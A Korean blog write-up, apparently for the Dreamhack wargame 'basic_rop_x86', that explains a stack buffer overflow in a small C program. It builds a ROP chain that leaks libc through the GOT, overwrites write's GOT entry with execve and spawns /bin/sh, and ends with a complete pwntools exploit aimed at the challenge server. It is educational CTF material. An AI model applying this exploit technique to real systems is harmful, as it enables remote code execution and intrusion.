1. 실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
2. 풀이
① checksec을 이용하여, 메모리 보호기법을 확인한다.
② gdb를 통해, stack에 dummy값이 존재하는지 확인한다.
----+-----------------------+--[EBP-0X44]
| | |
| +-----------------------+
| | |
| +-----------------------+
| | |
| +-----------------------+
| | |
Buf| +-----------------------+
(0x40)| | |
| +-----------------------+
| | |
| +-----------------------+
| | |
| +-----------------------+
| | |
| +-----------------------+
| | |
| +-----------------------+
| | |
----+-----------------------+
| EDI |
+-----------------------+<-EBP
| SFP |
+-----------------------+
| RET |
+-----------------------+
③ buf의 크기가 0x40인데, 0x400만큼 입력값을 받아 buf에 넣기 때문에 BOF취약점이 발생할 수 있다.
④ 가젯으로 사용할 코드의 주소값을 구한다.
⑤ write함수를 통해, 라이브러리의 read함수 주소값을 출력한다.
gadget = 0x08048689
read_got = e.got['read']
write_plt = e.plt['write']
payload = (b"A" * 0x40) + (b"b" * 0x8)
# write(1, read_got, 0x4)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(1)
payload += p32(read_got)
payload += p32(0x4)
⑥ read주소값을 기준으로, 라이브러리의 execve함수 주소값을 계산한다.
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']
p.sendline(payload)
p.recvuntil(b"A"*0x40)
read_addr = u32(p.recvn(4))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc
⑦ bss위치에 /bin/sh 문자열을 저장한다.
binsh = e.bss()
read_plt = e.plt['read']
# read(0, binsh, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x8)
p.send(b"/bin/sh\x00")
⑧ got에 저장되어 있는 write함수의 주소값을 execve함수의 주소값으로 덮어쓴다.
write_got = e.got['write']
read_plt = e.plt['read']
# read(0, write_got, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(write_got)
payload += p32(0x4)
p.send(p32(execve_addr))
⑨ write함수를 재실행함으로써, execve함수가 실행된다.
write_plt = e.plt['write']
# write(/bin/sh, 0, 0) ----> execve(/bin/sh, 0, 0)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(binsh)
payload += p32(0)
payload += p32(0)
3. 공격당한 스택의 그림
+-----------------------+
| EBP |
+-----------------------+
| RET -> write |
+-----------------------+
| pop; pop; pop; ret; |
+-----------------------+
| argv1 -> 1 |
+-----------------------+
| argv2 -> read_got |
+-----------------------+
| argv3 -> 0x4 |
+-----------------------+
| read |
+-----------------------+
| pop; pop; pop; ret; |
+-----------------------+
| argv1 -> 0 |
+-----------------------+
| argv2 -> bss(binsh) |
+-----------------------+
| argv3 -> 0x4 |
+-----------------------+
| read |
+-----------------------+
| pop; pop; pop; ret; |
+-----------------------+
| argv1 -> 0 |
+-----------------------+
| argv2 -> write_got |
+-----------------------+
| argv3 -> 0x4 |
+-----------------------+
| write |
+-----------------------+
| pop; pop; pop; ret; |
+-----------------------+
| argv1 -> bss(binsh) |
+-----------------------+
| argv2 -> 0 |
+-----------------------+
| argv3 -> 0 |
+-----------------------+
4. Exploit Code
- pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *
def print_v(name, value):
return success(": ".join([name, hex(value)]))
#p = process("./basic_rop_x86")
#libc = ELF("/lib32/libc.so.6")
p = remote("host3.dreamhack.games", 23296)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x86")
gadget = 0x08048689 # pop esi; pop edi; pop ebp; ret
binsh = e.bss()
read_got = e.got['read']
write_got = e.got['write']
read_plt = e.plt['read']
write_plt = e.plt['write']
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']
payload = (b"A" * 0x40) + (b"b" * 0x8)
# write(1, read_got, 0x4)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(1)
payload += p32(read_got)
payload += p32(0x4)
# read(0, binsh, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x8)
# read(0, write_got, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(write_got)
payload += p32(0x4)
# write(/bin/sh, 0, 0) ----> execve(/bin/sh, 0, 0)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(binsh)
payload += p32(0)
payload += p32(0)
p.sendline(payload)
p.recvuntil(b"A"*0x40)
read_addr = u32(p.recvn(4))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc
print_v("Read Address", read_addr)
print_v("Base library", base_libc)
print_v("Execve Address", execve_addr)
p.send(b"/bin/sh\x00")
p.send(p32(execve_addr))
p.interactive()
'Dreamhack > Wargame' 카테고리의 다른 글
[Wargame] oneshot (0) | 2022.07.19 |
---|---|
[Wargame] fho (0) | 2022.07.19 |
[Wargame] basic_rop_x64 (0) | 2022.07.08 |
[Wargame] rop (0) | 2022.07.03 |
[Wargame] Return to Library (0) | 2022.07.02 |